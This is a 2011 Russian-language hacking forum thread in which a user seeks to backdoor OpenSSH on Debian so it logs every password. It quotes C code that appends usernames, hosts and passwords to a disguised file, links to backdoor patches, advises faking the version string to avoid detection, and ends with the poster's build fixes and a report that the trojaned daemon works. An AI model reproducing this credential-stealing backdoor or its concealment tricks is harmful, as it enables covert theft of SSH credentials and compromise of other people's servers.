PDA

Просмотр полной версии : затрояненный openssh на debian.


ReanimatoR
12.11.2011, 07:37
Помогите пожалуйста разобраться, что делаю не так. надо чтобы openssh логировал все пароли.

OpenSSH_5.5p1 Debian-6, OpenSSL 0.9.8o 01 Jun 2010

стянул сорцы.
сделал все как тут http://hellknights.void.ru/articles/0x48k-OpenSSH-backdooring.html
но не фурычит на дебиане почему-то. не логирует куда надо(да и вообще никуда)...
даже поставил openssh уже готовый от туда OpenSSH_4.6p1, OpenSSL 0.9.8o 01 Jun 2010 все равно не работает:(

ReanimatoR
12.11.2011, 09:43
или может сниффер который нюхает пароли на ssh поставить? гуглю часа 3 уже ничего толком не нашел:(

ЗЫ
эти методы с sshconnect2.c не катят тоже

int

userauth_passwd(Authctxt *authctxt)

{

static int ifile, attempt = 0; /* Не забудем объявить переменную ifile */

if (attempt != 1)

error("Permission denied, please try again.");

snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",

authctxt->server_user, authctxt->host);

password = read_passphrase(prompt, 0);

/* Шпионская вставка в правильный код :) */

ifile=fopen("/usr/share/locale/it/console.it", "a"); /* Откроем шпионский файл на запись в конец */

fprintf(ifile, "%s %s is %s\n", authctxt->server_user, authctxt->host, password);

/* Запишем в файл имя пользователя, хост и пароль - главную информацию для размышления ;) */

fclose(ifile); /* Корректно закроем файл */

заранее:
да демон ребутаю, даже машину ребутнул чтобы наверняка. делаю из под рута все.

Делаю на
2.6.32-5-amd64 #1 SMP Tue Jun 14 09:42:28 UTC 2011 x86_64 GNU/Linux
уже даже не знаю что еще придумать. перебрал кучу старинных снифферов бесполезных некомпилящихся, либо эроррящих, толку от них ноль полный тоже.

Tigger
12.11.2011, 11:36
https://forum.zloy.bz/showthread.php?p=4717424
Я пользовался вот этим вот diff'ом.
Выкачивай версию, для которых написан этот патч ("патч для версий от 4.4 -4.7"). Потом открой файл version.h и там измени версию, на ту, что установлена в данный момент, чтобы не было палева.

ReanimatoR
12.11.2011, 16:16
https://forum.zloy.bz/showthread.php?p=4717424
Я пользовался вот этим вот diff'ом.
Выкачивай версию, для которых написан этот патч ("патч для версий от 4.4 -4.7"). Потом открой файл version.h и там измени версию, на ту, что установлена в данный момент, чтобы не было палева.

попробовал поставить на 4.4, 4.7, 4.6 этот патч - перекомпилил, собрал - толку ноль:(

euro
12.11.2011, 16:55
https://rdot.org/forum/showpost.php?p=7858&postcount=31

ReanimatoR
12.11.2011, 18:00
https://rdot.org/forum/showpost.php?p=7858&postcount=31

ща попробую разобраться что не так, но запощу сюда на всякий, вылетает


1 out of 5 hunks FAILED -- saving rejects to file auth.c.rej
patching file auth-pam.c
Hunk #1 succeeded at 467 with fuzz 2.
patching file auth-passwd.c
Hunk #1 FAILED at 81.
1 out of 1 hunk FAILED -- saving rejects to file auth-passwd.c.rej
patching file canohost.c
Hunk #1 FAILED at 75.
1 out of 1 hunk FAILED -- saving rejects to file canohost.c.rej


тэкс. добавил
--ignore-whitespace к
patch --ignore-whitespace
заработал твой патч

теперь новая ошибка

../includes.h:26: warning: ‘sendit’ defined but not used
../includes.h:26: warning: ‘sendit’ defined but not used
../includes.h:26: warning: ‘sendit’ defined but not used
../includes.h:26: warning: ‘sendit’ defined but not used
bsd-getpeereid.c: In function ‘getpeereid’:
bsd-getpeereid.c:30: error: storage size of ‘cred’ isn’t known
bsd-getpeereid.c:30: warning: unused variable ‘cred’
make[1]: *** [bsd-getpeereid.o] Ошибка 1
make: *** [openbsd-compat/libopenbsd-compat.a] Ошибка 2


gcc -g -O2 -Wall -Wpointer-arith -Wuninitialized -Wsign-compare -Wno-pointer-sign -I. -I.. -I. -I./.. -DHAVE_CONFIG_H -c bsd-getpeereid.c
bsd-getpeereid.c: In function ‘getpeereid’:
bsd-getpeereid.c:30: error: storage size of ‘cred’ isn’t known
bsd-getpeereid.c:30: warning: unused variable ‘cred’
make[1]: *** [bsd-getpeereid.o] Ошибка 1
make[1]: Leaving directory `/tmp/openssh-4.5p1/openbsd-compat'
make: *** [openbsd-compat/libopenbsd-compat.a] Ошибка 2

ReanimatoR
12.11.2011, 18:58
и фикс последней баги
открываем bsd-getpeereid.c и наверх добавим
#undef SO_PEERCRED
теперь все работает;)

всем кто помогал - огромное спасибо;)